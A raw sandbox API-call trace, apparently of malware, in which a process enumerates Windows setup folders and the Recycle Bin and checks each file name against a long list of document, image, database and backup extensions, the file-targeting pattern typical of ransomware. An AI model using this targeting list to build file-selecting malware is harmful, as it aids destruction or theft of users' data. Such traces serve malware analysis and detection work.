lstrlenW (lpString=".cr2") returned 4 [0060.925] lstrcmpiW (lpString1=".cr2", lpString2=".ini") returned -1 [0060.925] lstrlenW (lpString=".crt") returned 4 [0060.925] lstrcmpiW (lpString1=".crt", lpString2=".ini") returned -1 [0060.925] lstrlenW (lpString=".crw") returned 4 [0060.925] lstrcmpiW (lpString1=".crw", lpString2=".ini") returned -1 [0060.925] lstrlenW (lpString=".cs") returned 3 [0060.925] lstrcmpiW (lpString1=".cs", lpString2="ini") returned -1 [0060.925] lstrlenW (lpString=".css") returned 4 [0060.925] lstrcmpiW (lpString1=".css", lpString2=".ini") returned -1 [0060.925] lstrlenW (lpString=".csv") returned 4 [0060.925] lstrcmpiW (lpString1=".csv", lpString2=".ini") returned -1 [0060.925] lstrlenW (lpString=".cub") returned 4 [0060.925] lstrcmpiW (lpString1=".cub", lpString2=".ini") returned -1 [0060.925] lstrlenW (lpString=".dae") returned 4 [0060.925] lstrcmpiW (lpString1=".dae", lpString2=".ini") returned -1 [0060.925] lstrlenW (lpString=".dat") returned 4 [0060.925] lstrcmpiW (lpString1=".dat", lpString2=".ini") returned -1 [0060.925] lstrlenW (lpString=".db") returned 3 [0060.925] lstrcmpiW (lpString1=".db", lpString2="ini") returned -1 [0060.925] lstrlenW (lpString=".dbf") returned 4 [0060.925] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0060.925] lstrlenW (lpString=".dbx") returned 4 [0060.925] lstrcmpiW (lpString1=".dbx", lpString2=".ini") returned -1 [0060.925] lstrlenW (lpString=".dc3") returned 4 [0060.925] lstrcmpiW (lpString1=".dc3", lpString2=".ini") returned -1 [0060.925] lstrlenW (lpString=".dcm") returned 4 [0060.926] lstrcmpiW (lpString1=".dcm", lpString2=".ini") returned -1 [0060.926] lstrlenW (lpString=".dcr") returned 4 [0060.926] lstrcmpiW (lpString1=".dcr", lpString2=".ini") returned -1 [0060.926] lstrlenW (lpString=".der") returned 4 [0060.926] lstrcmpiW (lpString1=".der", lpString2=".ini") returned -1 [0060.926] lstrlenW (lpString=".dib") returned 4 [0060.926] lstrcmpiW (lpString1=".dib", lpString2=".ini") returned -1 [0060.926] lstrlenW (lpString=".dic") returned 4 [0060.926] lstrcmpiW (lpString1=".dic", lpString2=".ini") returned -1 [0060.926] lstrlenW (lpString=".dif") returned 4 [0060.926] lstrcmpiW (lpString1=".dif", lpString2=".ini") returned -1 [0060.926] lstrlenW (lpString=".divx") returned 5 [0060.926] lstrcmpiW (lpString1=".divx", lpString2="k.ini") returned -1 [0060.926] lstrlenW (lpString=".djvu") returned 5 [0060.926] lstrcmpiW (lpString1=".djvu", lpString2="k.ini") returned -1 [0060.926] lstrlenW (lpString=".dng") returned 4 [0060.926] lstrcmpiW (lpString1=".dng", lpString2=".ini") returned -1 [0060.926] lstrlenW (lpString=".doc") returned 4 [0060.926] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0060.926] lstrlenW (lpString=".docm") returned 5 [0060.926] lstrcmpiW (lpString1=".docm", lpString2="k.ini") returned -1 [0060.926] lstrlenW (lpString=".docx") returned 5 [0060.926] lstrcmpiW (lpString1=".docx", lpString2="k.ini") returned -1 [0060.926] lstrlenW (lpString=".dot") returned 4 [0060.926] lstrcmpiW (lpString1=".dot", lpString2=".ini") returned -1 [0060.926] lstrlenW (lpString=".dotm") returned 5 [0060.926] lstrcmpiW (lpString1=".dotm", lpString2="k.ini") returned -1 [0060.926] lstrlenW (lpString=".dotx") returned 5 [0060.926] lstrcmpiW (lpString1=".dotx", lpString2="k.ini") returned -1 [0060.926] lstrlenW (lpString=".dpx") returned 4 [0060.926] lstrcmpiW (lpString1=".dpx", lpString2=".ini") returned -1 [0060.926] lstrlenW (lpString=".dqy") returned 4 [0060.926] lstrcmpiW (lpString1=".dqy", lpString2=".ini") returned -1 [0060.926] lstrlenW (lpString=".dsn") returned 4 [0060.926] lstrcmpiW (lpString1=".dsn", lpString2=".ini") returned -1 [0060.926] lstrlenW (lpString=".dt") returned 3 [0060.927] lstrcmpiW (lpString1=".dt", lpString2="ini") returned -1 [0060.927] lstrlenW (lpString=".dtd") returned 4 [0060.927] lstrcmpiW (lpString1=".dtd", lpString2=".ini") returned -1 [0060.927] lstrlenW (lpString=".dwg") returned 4 [0060.927] lstrcmpiW (lpString1=".dwg", lpString2=".ini") returned -1 [0060.927] lstrlenW (lpString=".dwt") returned 4 [0060.927] lstrcmpiW (lpString1=".dwt", lpString2=".ini") returned -1 [0060.927] lstrlenW (lpString=".dx") returned 3 [0060.927] lstrcmpiW (lpString1=".dx", lpString2="ini") returned -1 [0060.927] lstrlenW (lpString=".dxf") returned 4 [0060.927] lstrcmpiW (lpString1=".dxf", lpString2=".ini") returned -1 [0060.927] lstrlenW (lpString=".edml") returned 5 [0060.927] lstrcmpiW (lpString1=".edml", lpString2="k.ini") returned -1 [0060.927] lstrlenW (lpString=".efd") returned 4 [0060.927] lstrcmpiW (lpString1=".efd", lpString2=".ini") returned -1 [0060.927] lstrlenW (lpString=".elf") returned 4 [0060.927] lstrcmpiW (lpString1=".elf", lpString2=".ini") returned -1 [0060.927] lstrlenW (lpString=".emf") returned 4 [0060.927] lstrcmpiW (lpString1=".emf", lpString2=".ini") returned -1 [0060.927] lstrlenW (lpString=".emz") returned 4 [0060.927] lstrcmpiW (lpString1=".emz", lpString2=".ini") returned -1 [0060.927] lstrlenW (lpString=".epf") returned 4 [0060.927] lstrcmpiW (lpString1=".epf", lpString2=".ini") returned -1 [0060.927] lstrlenW (lpString=".eps") returned 4 [0060.927] lstrcmpiW (lpString1=".eps", lpString2=".ini") returned -1 [0060.927] lstrlenW (lpString=".epsf") returned 5 [0060.927] lstrcmpiW (lpString1=".epsf", lpString2="k.ini") returned -1 [0060.927] lstrlenW (lpString=".epsp") returned 5 [0060.927] lstrcmpiW (lpString1=".epsp", lpString2="k.ini") returned -1 [0060.927] lstrlenW (lpString=".erf") returned 4 [0060.927] lstrcmpiW (lpString1=".erf", lpString2=".ini") returned -1 [0060.927] lstrlenW (lpString=".exr") returned 4 [0060.927] lstrcmpiW (lpString1=".exr", lpString2=".ini") returned -1 [0060.927] lstrlenW (lpString=".f4v") returned 4 [0060.927] lstrcmpiW (lpString1=".f4v", lpString2=".ini") returned -1 [0060.927] lstrlenW (lpString=".fido") returned 5 [0060.928] lstrcmpiW (lpString1=".fido", lpString2="k.ini") returned -1 [0060.928] lstrlenW (lpString=".flm") returned 4 [0060.928] lstrcmpiW (lpString1=".flm", lpString2=".ini") returned -1 [0060.928] lstrlenW (lpString=".flv") returned 4 [0060.928] lstrcmpiW (lpString1=".flv", lpString2=".ini") returned -1 [0060.928] lstrlenW (lpString=".frm") returned 4 [0060.928] lstrcmpiW (lpString1=".frm", lpString2=".ini") returned -1 [0060.928] lstrlenW (lpString=".fxg") returned 4 [0060.928] lstrcmpiW (lpString1=".fxg", lpString2=".ini") returned -1 [0060.928] lstrlenW (lpString=".geo") returned 4 [0060.928] lstrcmpiW (lpString1=".geo", lpString2=".ini") returned -1 [0060.928] lstrlenW (lpString=".gif") returned 4 [0060.928] lstrcmpiW (lpString1=".gif", lpString2=".ini") returned -1 [0060.928] lstrlenW (lpString=".grs") returned 4 [0060.928] lstrcmpiW (lpString1=".grs", lpString2=".ini") returned -1 [0060.928] lstrlenW (lpString=".gz") returned 3 [0060.928] lstrcmpiW (lpString1=".gz", lpString2="ini") returned -1 [0060.928] lstrlenW (lpString=".h") returned 2 [0060.928] lstrcmpiW (lpString1=".h", lpString2="ni") returned -1 [0060.928] lstrlenW (lpString=".hdr") returned 4 [0060.928] lstrcmpiW (lpString1=".hdr", lpString2=".ini") returned -1 [0060.928] lstrlenW (lpString=".hpp") returned 4 [0060.928] lstrcmpiW (lpString1=".hpp", lpString2=".ini") returned -1 [0060.928] lstrlenW (lpString=".hta") returned 4 [0060.928] lstrcmpiW (lpString1=".hta", lpString2=".ini") returned -1 [0060.928] lstrlenW (lpString=".htc") returned 4 [0060.928] lstrcmpiW (lpString1=".htc", lpString2=".ini") returned -1 [0060.928] lstrlenW (lpString=".htm") returned 4 [0060.928] lstrcmpiW (lpString1=".htm", lpString2=".ini") returned -1 [0060.928] lstrlenW (lpString=".html") returned 5 [0060.928] lstrcmpiW (lpString1=".html", lpString2="k.ini") returned -1 [0060.928] lstrlenW (lpString=".icb") returned 4 [0060.928] lstrcmpiW (lpString1=".icb", lpString2=".ini") returned -1 [0060.928] lstrlenW (lpString=".ics") returned 4 [0060.928] lstrcmpiW (lpString1=".ics", lpString2=".ini") returned -1 [0060.929] lstrlenW (lpString=".iff") returned 4 [0060.929] lstrcmpiW (lpString1=".iff", lpString2=".ini") returned -1 [0060.929] lstrlenW (lpString=".inc") returned 4 [0060.929] lstrcmpiW (lpString1=".inc", lpString2=".ini") returned -1 [0060.929] lstrlenW (lpString=".indd") returned 5 [0060.929] lstrcmpiW (lpString1=".indd", lpString2="k.ini") returned -1 [0060.929] lstrlenW (lpString=".ini") returned 4 [0060.929] lstrcmpiW (lpString1=".ini", lpString2=".ini") returned 0 [0060.929] FindNextFileW (in: hFindFile=0x582b88, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x54acc791, ftLastAccessTime.dwHighDateTime=0x1d3273a, ftLastWriteTime.dwLowDateTime=0x54acc791, ftLastWriteTime.dwHighDateTime=0x1d3273a, nFileSizeHigh=0x0, nFileSizeLow=0x241, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupComplete.cmd", cAlternateFileName="PARTNE~1.CMD")) returned 1 [0060.929] lstrlenW (lpString="PartnerSetupComplete.cmd") returned 24 [0060.929] lstrlenW (lpString=".1cd") returned 4 [0060.929] lstrcmpiW (lpString1=".1cd", lpString2=".cmd") returned -1 [0060.929] lstrlenW (lpString=".3ds") returned 4 [0060.929] lstrcmpiW (lpString1=".3ds", lpString2=".cmd") returned -1 [0060.929] lstrlenW (lpString=".3fr") returned 4 [0060.929] lstrcmpiW (lpString1=".3fr", lpString2=".cmd") returned -1 [0060.929] lstrlenW (lpString=".3g2") returned 4 [0060.929] lstrcmpiW (lpString1=".3g2", lpString2=".cmd") returned -1 [0060.929] lstrlenW (lpString=".3gp") returned 4 [0060.929] lstrcmpiW (lpString1=".3gp", lpString2=".cmd") returned -1 [0060.929] lstrlenW (lpString=".7z") returned 3 [0060.929] lstrcmpiW (lpString1=".7z", lpString2="cmd") returned -1 [0060.929] lstrlenW (lpString=".accda") returned 6 [0060.929] lstrcmpiW (lpString1=".accda", lpString2="te.cmd") returned -1 [0060.929] lstrlenW (lpString=".accdb") returned 6 [0060.929] lstrcmpiW (lpString1=".accdb", lpString2="te.cmd") returned -1 [0060.929] lstrlenW (lpString=".accdc") returned 6 [0060.929] lstrcmpiW (lpString1=".accdc", lpString2="te.cmd") returned -1 [0060.929] lstrlenW (lpString=".accde") returned 6 [0060.929] lstrcmpiW (lpString1=".accde", lpString2="te.cmd") returned -1 [0060.929] lstrlenW (lpString=".accdt") returned 6 [0060.929] lstrcmpiW (lpString1=".accdt", lpString2="te.cmd") returned -1 [0060.929] lstrlenW (lpString=".accdw") returned 6 [0060.929] lstrcmpiW (lpString1=".accdw", lpString2="te.cmd") returned -1 [0060.930] lstrlenW (lpString=".adb") returned 4 [0060.930] lstrcmpiW (lpString1=".adb", lpString2=".cmd") returned -1 [0060.930] lstrlenW (lpString=".adp") returned 4 [0060.930] lstrcmpiW (lpString1=".adp", lpString2=".cmd") returned -1 [0060.930] lstrlenW (lpString=".ai") returned 3 [0060.930] lstrcmpiW (lpString1=".ai", lpString2="cmd") returned -1 [0060.930] lstrlenW (lpString=".ai3") returned 4 [0060.930] lstrcmpiW (lpString1=".ai3", lpString2=".cmd") returned -1 [0060.930] lstrlenW (lpString=".ai4") returned 4 [0060.930] lstrcmpiW (lpString1=".ai4", lpString2=".cmd") returned -1 [0060.930] lstrlenW (lpString=".ai5") returned 4 [0060.930] lstrcmpiW (lpString1=".ai5", lpString2=".cmd") returned -1 [0060.930] lstrlenW (lpString=".ai6") returned 4 [0060.930] lstrcmpiW (lpString1=".ai6", lpString2=".cmd") returned -1 [0060.930] lstrlenW (lpString=".ai7") returned 4 [0060.930] lstrcmpiW (lpString1=".ai7", lpString2=".cmd") returned -1 [0060.930] lstrlenW (lpString=".ai8") returned 4 [0060.930] lstrcmpiW (lpString1=".ai8", lpString2=".cmd") returned -1 [0060.930] lstrlenW (lpString=".anim") returned 5 [0060.930] lstrcmpiW (lpString1=".anim", lpString2="e.cmd") returned -1 [0060.930] lstrlenW (lpString=".arw") returned 4 [0060.930] lstrcmpiW (lpString1=".arw", lpString2=".cmd") returned -1 [0060.930] lstrlenW (lpString=".as") returned 3 [0060.930] lstrcmpiW (lpString1=".as", lpString2="cmd") returned -1 [0060.930] lstrlenW (lpString=".asa") returned 4 [0060.930] lstrcmpiW (lpString1=".asa", lpString2=".cmd") returned -1 [0060.930] lstrlenW (lpString=".asc") returned 4 [0060.930] lstrcmpiW (lpString1=".asc", lpString2=".cmd") returned -1 [0060.930] lstrlenW (lpString=".ascx") returned 5 [0060.930] lstrcmpiW (lpString1=".ascx", lpString2="e.cmd") returned -1 [0060.930] lstrlenW (lpString=".asm") returned 4 [0060.930] lstrcmpiW (lpString1=".asm", lpString2=".cmd") returned -1 [0060.930] lstrlenW (lpString=".asmx") returned 5 [0060.930] lstrcmpiW (lpString1=".asmx", lpString2="e.cmd") returned -1 [0060.930] lstrlenW (lpString=".asp") returned 4 [0061.094] lstrcmpiW (lpString1=".asp", lpString2=".cmd") returned -1 [0061.094] lstrlenW (lpString=".aspx") returned 5 [0061.094] lstrcmpiW (lpString1=".aspx", lpString2="e.cmd") returned -1 [0061.094] lstrlenW (lpString=".asr") returned 4 [0061.094] lstrcmpiW (lpString1=".asr", lpString2=".cmd") returned -1 [0061.094] lstrlenW (lpString=".asx") returned 4 [0061.094] lstrcmpiW (lpString1=".asx", lpString2=".cmd") returned -1 [0061.094] lstrlenW (lpString=".avi") returned 4 [0061.094] lstrcmpiW (lpString1=".avi", lpString2=".cmd") returned -1 [0061.094] lstrlenW (lpString=".avs") returned 4 [0061.094] lstrcmpiW (lpString1=".avs", lpString2=".cmd") returned -1 [0061.094] lstrlenW (lpString=".backup") returned 7 [0061.094] lstrcmpiW (lpString1=".backup", lpString2="ete.cmd") returned -1 [0061.094] lstrlenW (lpString=".bak") returned 4 [0061.094] lstrcmpiW (lpString1=".bak", lpString2=".cmd") returned -1 [0061.094] lstrlenW (lpString=".bay") returned 4 [0061.094] lstrcmpiW (lpString1=".bay", lpString2=".cmd") returned -1 [0061.094] lstrlenW (lpString=".bd") returned 3 [0061.094] lstrcmpiW (lpString1=".bd", lpString2="cmd") returned -1 [0061.094] lstrlenW (lpString=".bin") returned 4 [0061.094] lstrcmpiW (lpString1=".bin", lpString2=".cmd") returned -1 [0061.094] lstrlenW (lpString=".bmp") returned 4 [0061.094] lstrcmpiW (lpString1=".bmp", lpString2=".cmd") returned -1 [0061.094] lstrlenW (lpString=".bz2") returned 4 [0061.095] lstrcmpiW (lpString1=".bz2", lpString2=".cmd") returned -1 [0061.095] lstrlenW (lpString=".c") returned 2 [0061.095] lstrcmpiW (lpString1=".c", lpString2="md") returned -1 [0061.095] lstrlenW (lpString=".cdr") returned 4 [0061.095] lstrcmpiW (lpString1=".cdr", lpString2=".cmd") returned -1 [0061.095] lstrlenW (lpString=".cer") returned 4 [0061.095] lstrcmpiW (lpString1=".cer", lpString2=".cmd") returned -1 [0061.095] lstrlenW (lpString=".cf") returned 3 [0061.095] lstrcmpiW (lpString1=".cf", lpString2="cmd") returned -1 [0061.095] lstrlenW (lpString=".cfc") returned 4 [0061.095] lstrcmpiW (lpString1=".cfc", lpString2=".cmd") returned -1 [0061.095] lstrlenW (lpString=".cfm") returned 4 [0061.095] lstrcmpiW (lpString1=".cfm", lpString2=".cmd") returned -1 [0061.095] lstrlenW (lpString=".cfml") returned 5 [0061.095] lstrcmpiW (lpString1=".cfml", lpString2="e.cmd") returned -1 [0061.095] lstrlenW (lpString=".cfu") returned 4 [0061.095] lstrcmpiW (lpString1=".cfu", lpString2=".cmd") returned -1 [0061.095] lstrlenW (lpString=".chm") returned 4 [0061.095] lstrcmpiW (lpString1=".chm", lpString2=".cmd") returned -1 [0061.095] lstrlenW (lpString=".cin") returned 4 [0061.095] lstrcmpiW (lpString1=".cin", lpString2=".cmd") returned -1 [0061.095] lstrlenW (lpString=".class") returned 6 [0061.095] lstrcmpiW (lpString1=".class", lpString2="te.cmd") returned -1 [0061.095] lstrlenW (lpString=".clx") returned 4 [0061.095] lstrcmpiW (lpString1=".clx", lpString2=".cmd") returned -1 [0061.095] lstrlenW (lpString=".config") returned 7 [0061.095] lstrcmpiW (lpString1=".config", lpString2="ete.cmd") returned -1 [0061.095] lstrlenW (lpString=".cpp") returned 4 [0061.096] lstrcmpiW (lpString1=".cpp", lpString2=".cmd") returned 1 [0061.096] lstrlenW (lpString=".cr2") returned 4 [0061.096] lstrcmpiW (lpString1=".cr2", lpString2=".cmd") returned 1 [0061.096] lstrlenW (lpString=".crt") returned 4 [0061.096] lstrcmpiW (lpString1=".crt", lpString2=".cmd") returned 1 [0061.096] lstrlenW (lpString=".crw") returned 4 [0061.096] lstrcmpiW (lpString1=".crw", lpString2=".cmd") returned 1 [0061.096] lstrlenW (lpString=".cs") returned 3 [0061.096] lstrcmpiW (lpString1=".cs", lpString2="cmd") returned -1 [0061.096] lstrlenW (lpString=".css") returned 4 [0061.096] lstrcmpiW (lpString1=".css", lpString2=".cmd") returned 1 [0061.096] lstrlenW (lpString=".csv") returned 4 [0061.096] lstrcmpiW (lpString1=".csv", lpString2=".cmd") returned 1 [0061.096] lstrlenW (lpString=".cub") returned 4 [0061.096] lstrcmpiW (lpString1=".cub", lpString2=".cmd") returned 1 [0061.096] lstrlenW (lpString=".dae") returned 4 [0061.096] lstrcmpiW (lpString1=".dae", lpString2=".cmd") returned 1 [0061.096] lstrlenW (lpString=".dat") returned 4 [0061.096] lstrcmpiW (lpString1=".dat", lpString2=".cmd") returned 1 [0061.096] lstrlenW (lpString=".db") returned 3 [0061.096] lstrcmpiW (lpString1=".db", lpString2="cmd") returned -1 [0061.096] lstrlenW (lpString=".dbf") returned 4 [0061.096] lstrcmpiW (lpString1=".dbf", lpString2=".cmd") returned 1 [0061.096] lstrlenW (lpString=".dbx") returned 4 [0061.096] lstrcmpiW (lpString1=".dbx", lpString2=".cmd") returned 1 [0061.096] lstrlenW (lpString=".dc3") returned 4 [0061.096] lstrcmpiW (lpString1=".dc3", lpString2=".cmd") returned 1 [0061.097] lstrlenW (lpString=".dcm") returned 4 [0061.097] lstrcmpiW (lpString1=".dcm", lpString2=".cmd") returned 1 [0061.097] lstrlenW (lpString=".dcr") returned 4 [0061.097] lstrcmpiW (lpString1=".dcr", lpString2=".cmd") returned 1 [0061.097] lstrlenW (lpString=".der") returned 4 [0061.097] lstrcmpiW (lpString1=".der", lpString2=".cmd") returned 1 [0061.097] lstrlenW (lpString=".dib") returned 4 [0061.097] lstrcmpiW (lpString1=".dib", lpString2=".cmd") returned 1 [0061.097] lstrlenW (lpString=".dic") returned 4 [0061.097] lstrcmpiW (lpString1=".dic", lpString2=".cmd") returned 1 [0061.097] lstrlenW (lpString=".dif") returned 4 [0061.097] lstrcmpiW (lpString1=".dif", lpString2=".cmd") returned 1 [0061.097] lstrlenW (lpString=".divx") returned 5 [0061.097] lstrcmpiW (lpString1=".divx", lpString2="e.cmd") returned -1 [0061.097] lstrlenW (lpString=".djvu") returned 5 [0061.097] lstrcmpiW (lpString1=".djvu", lpString2="e.cmd") returned -1 [0061.097] lstrlenW (lpString=".dng") returned 4 [0061.097] lstrcmpiW (lpString1=".dng", lpString2=".cmd") returned 1 [0061.097] lstrlenW (lpString=".doc") returned 4 [0061.097] lstrcmpiW (lpString1=".doc", lpString2=".cmd") returned 1 [0061.097] lstrlenW (lpString=".docm") returned 5 [0061.097] lstrcmpiW (lpString1=".docm", lpString2="e.cmd") returned -1 [0061.097] lstrlenW (lpString=".docx") returned 5 [0061.097] lstrcmpiW (lpString1=".docx", lpString2="e.cmd") returned -1 [0061.097] lstrlenW (lpString=".dot") returned 4 [0061.097] lstrcmpiW (lpString1=".dot", lpString2=".cmd") returned 1 [0061.097] lstrlenW (lpString=".dotm") returned 5 [0061.097] lstrcmpiW (lpString1=".dotm", lpString2="e.cmd") returned -1 [0061.098] lstrlenW (lpString=".dotx") returned 5 [0061.098] lstrcmpiW (lpString1=".dotx", lpString2="e.cmd") returned -1 [0061.098] lstrlenW (lpString=".dpx") returned 4 [0061.098] lstrcmpiW (lpString1=".dpx", lpString2=".cmd") returned 1 [0061.098] lstrlenW (lpString=".dqy") returned 4 [0061.098] lstrcmpiW (lpString1=".dqy", lpString2=".cmd") returned 1 [0061.098] lstrlenW (lpString=".dsn") returned 4 [0061.098] lstrcmpiW (lpString1=".dsn", lpString2=".cmd") returned 1 [0061.098] lstrlenW (lpString=".dt") returned 3 [0061.098] lstrcmpiW (lpString1=".dt", lpString2="cmd") returned -1 [0061.098] lstrlenW (lpString=".dtd") returned 4 [0061.098] lstrcmpiW (lpString1=".dtd", lpString2=".cmd") returned 1 [0061.098] lstrlenW (lpString=".dwg") returned 4 [0061.098] lstrcmpiW (lpString1=".dwg", lpString2=".cmd") returned 1 [0061.098] lstrlenW (lpString=".dwt") returned 4 [0061.098] lstrcmpiW (lpString1=".dwt", lpString2=".cmd") returned 1 [0061.098] lstrlenW (lpString=".dx") returned 3 [0061.098] lstrcmpiW (lpString1=".dx", lpString2="cmd") returned -1 [0061.098] lstrlenW (lpString=".dxf") returned 4 [0061.098] lstrcmpiW (lpString1=".dxf", lpString2=".cmd") returned 1 [0061.098] lstrlenW (lpString=".edml") returned 5 [0061.098] lstrcmpiW (lpString1=".edml", lpString2="e.cmd") returned -1 [0061.098] lstrlenW (lpString=".efd") returned 4 [0061.098] lstrcmpiW (lpString1=".efd", lpString2=".cmd") returned 1 [0061.098] lstrlenW (lpString=".elf") returned 4 [0061.098] lstrcmpiW (lpString1=".elf", lpString2=".cmd") returned 1 [0061.098] lstrlenW (lpString=".emf") returned 4 [0061.098] lstrcmpiW (lpString1=".emf", lpString2=".cmd") returned 1 [0061.099] lstrlenW (lpString=".emz") returned 4 [0061.099] lstrcmpiW (lpString1=".emz", lpString2=".cmd") returned 1 [0061.099] lstrlenW (lpString=".epf") returned 4 [0061.099] lstrcmpiW (lpString1=".epf", lpString2=".cmd") returned 1 [0061.099] lstrlenW (lpString=".eps") returned 4 [0061.099] lstrcmpiW (lpString1=".eps", lpString2=".cmd") returned 1 [0061.099] lstrlenW (lpString=".epsf") returned 5 [0061.099] lstrcmpiW (lpString1=".epsf", lpString2="e.cmd") returned -1 [0061.099] lstrlenW (lpString=".epsp") returned 5 [0061.099] lstrcmpiW (lpString1=".epsp", lpString2="e.cmd") returned -1 [0061.099] lstrlenW (lpString=".erf") returned 4 [0061.099] lstrcmpiW (lpString1=".erf", lpString2=".cmd") returned 1 [0061.099] lstrlenW (lpString=".exr") returned 4 [0061.099] lstrcmpiW (lpString1=".exr", lpString2=".cmd") returned 1 [0061.099] lstrlenW (lpString=".f4v") returned 4 [0061.099] lstrcmpiW (lpString1=".f4v", lpString2=".cmd") returned 1 [0061.099] lstrlenW (lpString=".fido") returned 5 [0061.099] lstrcmpiW (lpString1=".fido", lpString2="e.cmd") returned -1 [0061.099] lstrlenW (lpString=".flm") returned 4 [0061.099] lstrcmpiW (lpString1=".flm", lpString2=".cmd") returned 1 [0061.099] lstrlenW (lpString=".flv") returned 4 [0061.099] lstrcmpiW (lpString1=".flv", lpString2=".cmd") returned 1 [0061.099] lstrlenW (lpString=".frm") returned 4 [0061.099] lstrcmpiW (lpString1=".frm", lpString2=".cmd") returned 1 [0061.099] lstrlenW (lpString=".fxg") returned 4 [0061.099] lstrcmpiW (lpString1=".fxg", lpString2=".cmd") returned 1 [0061.099] lstrlenW (lpString=".geo") returned 4 [0061.099] lstrcmpiW (lpString1=".geo", lpString2=".cmd") returned 1 [0061.099] lstrlenW (lpString=".gif") returned 4 [0061.100] lstrcmpiW (lpString1=".gif", lpString2=".cmd") returned 1 [0061.100] lstrlenW (lpString=".grs") returned 4 [0061.100] lstrcmpiW (lpString1=".grs", lpString2=".cmd") returned 1 [0061.100] lstrlenW (lpString=".gz") returned 3 [0061.100] lstrcmpiW (lpString1=".gz", lpString2="cmd") returned -1 [0061.100] lstrlenW (lpString=".h") returned 2 [0061.100] lstrcmpiW (lpString1=".h", lpString2="md") returned -1 [0061.100] lstrlenW (lpString=".hdr") returned 4 [0061.100] lstrcmpiW (lpString1=".hdr", lpString2=".cmd") returned 1 [0061.100] lstrlenW (lpString=".hpp") returned 4 [0061.100] lstrcmpiW (lpString1=".hpp", lpString2=".cmd") returned 1 [0061.100] lstrlenW (lpString=".hta") returned 4 [0061.100] lstrcmpiW (lpString1=".hta", lpString2=".cmd") returned 1 [0061.100] lstrlenW (lpString=".htc") returned 4 [0061.100] lstrcmpiW (lpString1=".htc", lpString2=".cmd") returned 1 [0061.100] lstrlenW (lpString=".htm") returned 4 [0061.100] lstrcmpiW (lpString1=".htm", lpString2=".cmd") returned 1 [0061.100] FindNextFileW (in: hFindFile=0x582b88, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9575af11, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x9577d1ec, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="preoobe.cmd", cAlternateFileName="")) returned 1 [0061.101] FindNextFileW (in: hFindFile=0x582b88, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x957833a7, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x957833a7, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x9578472e, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x133, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupComplete.cmd", cAlternateFileName="SETUPC~1.CMD")) returned 1 [0061.101] FindNextFileW (in: hFindFile=0x582b88, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x957833a7, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x957833a7, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x9578472e, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x133, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupComplete.cmd", cAlternateFileName="SETUPC~1.CMD")) returned 0 [0061.101] FindClose (in: hFindFile=0x582b88 | out: hFindFile=0x582b88) returned 1 [0061.102] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3780968 | out: hHeap=0x490000) returned 1 [0061.102] FindNextFileW (in: hFindFile=0x4a9598, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SafeOS", cAlternateFileName="")) returned 0 [0061.103] FindClose (in: hFindFile=0x4a9598 | out: hFindFile=0x4a9598) returned 1 [0061.103] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3740948 | out: hHeap=0x490000) returned 1 [0061.105] FindNextFileW (in: hFindFile=0x4a9498, lpFindFileData=0x2e9fcf8 | out: lpFindFileData=0x2e9fcf8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77850000, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 1 [0061.105] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xfffe) returned 0x3740948 [0061.106] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0061.106] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, 